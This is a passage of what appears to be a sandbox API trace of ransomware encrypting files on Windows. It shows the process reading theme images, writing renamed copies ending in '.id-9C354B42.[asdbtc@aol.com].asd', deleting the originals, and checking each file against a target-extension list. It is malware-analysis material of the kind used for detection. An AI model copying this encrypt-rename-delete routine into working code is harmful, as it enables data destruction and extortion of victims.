lpFileSize=0x317ff1c | out: lpFileSize=0x317ff1c*=21745) returned 1 [0054.866] CloseHandle (hObject=0x218) returned 1 [0054.875] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\thmbnail.png")) returned 0x20 [0054.875] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\thmbnail.png.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0054.875] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0054.875] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.884] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.886] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\thmbnail.png.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0054.887] GetLastError () returned 0x0 [0054.887] ReadFile (in: hFile=0x218, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x317fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x317fed4*=0x54f1, lpOverlapped=0x0) returned 1 [0054.897] WriteFile (in: hFile=0x190, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0x5500, lpNumberOfBytesWritten=0x317fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x317fc9c*=0x5500, lpOverlapped=0x0) returned 1 [0054.899] ReadFile (in: hFile=0x218, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x317fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x317fed4*=0x0, lpOverlapped=0x0) returned 1 [0054.899] WriteFile (in: hFile=0x190, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x317fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x317fc9c*=0xec, lpOverlapped=0x0) returned 1 [0054.899] SetEndOfFile (hFile=0x190) returned 1 [0054.899] CloseHandle (hObject=0x190) returned 1 [0054.899] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.899] SetEndOfFile (hFile=0x218) returned 1 [0054.900] CloseHandle (hObject=0x218) returned 1 [0054.900] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x20) returned 1 [0054.900] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\thmbnail.png")) returned 1 [0054.901] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG") returned 74 [0054.901] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG") returned 74 [0054.901] lstrlenW (lpString=".doc") returned 4 [0054.901] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0054.901] lstrlenW (lpString=".docx") returned 5 [0054.901] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0054.901] lstrlenW (lpString=".pdf") returned 4 [0054.901] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0054.901] lstrlenW (lpString=".xls") returned 4 [0054.901] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0054.901] lstrlenW (lpString=".xlsx") returned 5 [0054.901] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0054.901] lstrlenW (lpString=".ppt") returned 4 [0054.901] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0054.901] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG") returned 74 [0054.901] lstrlenW (lpString=".zip") returned 4 [0054.901] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0054.901] lstrlenW (lpString=".rar") returned 4 [0054.901] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0054.901] lstrlenW (lpString=".bz2") returned 4 [0054.901] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0054.901] lstrlenW (lpString=".7z") returned 3 [0054.901] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0054.901] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG") returned 74 [0054.901] lstrlenW (lpString=".dbf") returned 4 [0054.901] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0054.901] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG") returned 74 [0054.902] lstrlenW (lpString=".1cd") returned 4 [0054.902] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0054.902] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG") returned 74 [0054.902] lstrlenW (lpString=".jpg") returned 4 [0054.902] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0054.902] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG") returned 74 [0054.902] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG") returned 74 [0054.902] lstrlenW (lpString=".doc") returned 4 [0054.902] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0054.902] lstrlenW (lpString=".docx") returned 5 [0054.902] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0054.902] lstrlenW (lpString=".pdf") returned 4 [0054.902] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0054.902] lstrlenW (lpString=".xls") returned 4 [0054.902] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0054.902] lstrlenW (lpString=".xlsx") returned 5 [0054.902] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0054.902] lstrlenW (lpString=".ppt") returned 4 [0054.902] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0054.902] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG") returned 74 [0054.902] lstrlenW (lpString=".zip") returned 4 [0054.902] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0054.902] lstrlenW (lpString=".rar") returned 4 [0054.902] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0054.902] lstrlenW (lpString=".bz2") returned 4 [0054.902] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0054.902] lstrlenW (lpString=".7z") returned 3 [0054.902] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0054.902] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG") returned 74 [0054.902] lstrlenW (lpString=".dbf") returned 4 [0054.903] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0054.903] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG") returned 74 [0054.903] lstrlenW (lpString=".1cd") returned 4 [0054.903] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0054.903] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG") returned 74 [0054.903] lstrlenW (lpString=".jpg") returned 4 [0054.903] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0054.903] lstrcmpiW (lpString1=".PNG", lpString2=".asd") returned 1 [0054.903] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0054.903] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0054.903] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x317ff1c | out: lpFileSize=0x317ff1c*=19563) returned 1 [0054.903] CloseHandle (hObject=0x218) returned 1 [0054.903] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\thmbnail.png")) returned 0x20 [0054.904] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\thmbnail.png.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0054.904] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0054.904] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.904] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.904] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\thmbnail.png.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0054.904] GetLastError () returned 0x0 [0054.904] ReadFile (in: hFile=0x218, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x317fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x317fed4*=0x4c6b, lpOverlapped=0x0) returned 1 [0054.909] WriteFile (in: hFile=0x190, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0x4c70, lpNumberOfBytesWritten=0x317fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x317fc9c*=0x4c70, lpOverlapped=0x0) returned 1 [0054.912] ReadFile (in: hFile=0x218, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x317fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x317fed4*=0x0, lpOverlapped=0x0) returned 1 [0054.912] WriteFile (in: hFile=0x190, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x317fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x317fc9c*=0xec, lpOverlapped=0x0) returned 1 [0054.912] SetEndOfFile (hFile=0x190) returned 1 [0054.912] CloseHandle (hObject=0x190) returned 1 [0054.912] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.912] SetEndOfFile (hFile=0x218) returned 1 [0054.913] CloseHandle (hObject=0x218) returned 1 [0054.913] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x20) returned 1 [0054.913] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\thmbnail.png")) returned 1 [0054.914] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG") returned 75 [0054.914] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG") returned 75 [0054.914] lstrlenW (lpString=".doc") returned 4 [0054.914] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0054.914] lstrlenW (lpString=".docx") returned 5 [0054.914] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0054.914] lstrlenW (lpString=".pdf") returned 4 [0054.914] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0054.914] lstrlenW (lpString=".xls") returned 4 [0054.914] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0054.914] lstrlenW (lpString=".xlsx") returned 5 [0054.914] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0054.914] lstrlenW (lpString=".ppt") returned 4 [0054.914] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0054.914] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG") returned 75 [0054.914] lstrlenW (lpString=".zip") returned 4 [0054.914] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0054.914] lstrlenW (lpString=".rar") returned 4 [0054.914] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0054.914] lstrlenW (lpString=".bz2") returned 4 [0054.914] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0054.914] lstrlenW (lpString=".7z") returned 3 [0054.914] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0054.914] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG") returned 75 [0054.914] lstrlenW (lpString=".dbf") returned 4 [0054.914] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0054.914] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG") returned 75 [0054.915] lstrlenW (lpString=".1cd") returned 4 [0054.915] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0054.915] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG") returned 75 [0054.915] lstrlenW (lpString=".jpg") returned 4 [0054.915] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0054.915] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG") returned 75 [0054.915] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG") returned 75 [0054.915] lstrlenW (lpString=".doc") returned 4 [0054.915] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0054.915] lstrlenW (lpString=".docx") returned 5 [0054.915] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0054.915] lstrlenW (lpString=".pdf") returned 4 [0054.915] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0054.915] lstrlenW (lpString=".xls") returned 4 [0054.915] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0054.915] lstrlenW (lpString=".xlsx") returned 5 [0054.915] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0054.915] lstrlenW (lpString=".ppt") returned 4 [0054.915] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0054.915] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG") returned 75 [0054.915] lstrlenW (lpString=".zip") returned 4 [0054.915] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0054.915] lstrlenW (lpString=".rar") returned 4 [0054.915] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0054.915] lstrlenW (lpString=".bz2") returned 4 [0054.915] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0054.915] lstrlenW (lpString=".7z") returned 3 [0054.915] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0054.915] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG") returned 75 [0054.915] lstrlenW (lpString=".dbf") returned 4 [0054.915] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0054.915] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG") returned 75 [0054.916] lstrlenW (lpString=".1cd") returned 4 [0054.916] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0054.916] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG") returned 75 [0054.916] lstrlenW (lpString=".jpg") returned 4 [0054.916] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0054.916] lstrcmpiW (lpString1=".GIF", lpString2=".asd") returned 1 [0054.916] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0054.916] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0054.916] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x317ff1c | out: lpFileSize=0x317ff1c*=1423) returned 1 [0054.916] CloseHandle (hObject=0x218) returned 1 [0054.917] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\preview.gif")) returned 0x20 [0054.917] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\preview.gif.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0054.917] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0054.917] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.917] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.918] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\preview.gif.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0054.921] GetLastError () returned 0x0 [0054.921] ReadFile (in: hFile=0x218, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x317fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x317fed4*=0x58f, lpOverlapped=0x0) returned 1 [0054.923] WriteFile (in: hFile=0x190, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0x590, lpNumberOfBytesWritten=0x317fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x317fc9c*=0x590, lpOverlapped=0x0) returned 1 [0054.924] ReadFile (in: hFile=0x218, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x317fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x317fed4*=0x0, lpOverlapped=0x0) returned 1 [0054.924] WriteFile (in: hFile=0x190, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x317fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x317fc9c*=0xea, lpOverlapped=0x0) returned 1 [0054.924] SetEndOfFile (hFile=0x190) returned 1 [0054.924] CloseHandle (hObject=0x190) returned 1 [0054.924] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.924] SetEndOfFile (hFile=0x218) returned 1 [0054.925] CloseHandle (hObject=0x218) returned 1 [0054.925] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x20) returned 1 [0054.925] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\preview.gif")) returned 1 [0054.926] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF") returned 75 [0054.926] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF") returned 75 [0054.926] lstrlenW (lpString=".doc") returned 4 [0054.926] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0054.926] lstrlenW (lpString=".docx") returned 5 [0054.926] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0054.926] lstrlenW (lpString=".pdf") returned 4 [0054.926] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0054.926] lstrlenW (lpString=".xls") returned 4 [0054.926] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0054.926] lstrlenW (lpString=".xlsx") returned 5 [0054.926] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0054.926] lstrlenW (lpString=".ppt") returned 4 [0054.926] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0054.926] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF") returned 75 [0054.926] lstrlenW (lpString=".zip") returned 4 [0054.926] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0054.926] lstrlenW (lpString=".rar") returned 4 [0054.926] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0054.926] lstrlenW (lpString=".bz2") returned 4 [0054.926] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0054.926] lstrlenW (lpString=".7z") returned 3 [0054.926] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0054.926] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF") returned 75 [0054.926] lstrlenW (lpString=".dbf") returned 4 [0054.926] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0054.926] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF") returned 75 [0054.926] lstrlenW (lpString=".1cd") returned 4 [0054.927] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0054.927] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF") returned 75 [0054.927] lstrlenW (lpString=".jpg") returned 4 [0054.927] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0054.927] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF") returned 75 [0054.927] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF") returned 75 [0054.927] lstrlenW (lpString=".doc") returned 4 [0054.927] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0054.927] lstrlenW (lpString=".docx") returned 5 [0054.927] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0054.927] lstrlenW (lpString=".pdf") returned 4 [0054.927] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0054.927] lstrlenW (lpString=".xls") returned 4 [0054.927] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0054.927] lstrlenW (lpString=".xlsx") returned 5 [0054.927] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0054.927] lstrlenW (lpString=".ppt") returned 4 [0054.927] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0054.927] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF") returned 75 [0054.927] lstrlenW (lpString=".zip") returned 4 [0054.927] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0054.927] lstrlenW (lpString=".rar") returned 4 [0054.927] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0054.927] lstrlenW (lpString=".bz2") returned 4 [0054.927] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0054.927] lstrlenW (lpString=".7z") returned 3 [0054.927] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0054.927] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF") returned 75 [0054.927] lstrlenW (lpString=".dbf") returned 4 [0054.927] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0054.927] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF") returned 75 [0054.927] lstrlenW (lpString=".1cd") returned 4 [0054.928] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0054.928] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF") returned 75 [0054.928] lstrlenW (lpString=".jpg") returned 4 [0054.928] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0054.928] lstrcmpiW (lpString1=".PNG", lpString2=".asd") returned 1 [0054.928] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0054.928] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0054.928] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x317ff1c | out: lpFileSize=0x317ff1c*=15737) returned 1 [0054.928] CloseHandle (hObject=0x218) returned 1 [0054.928] GetFileAttributesW 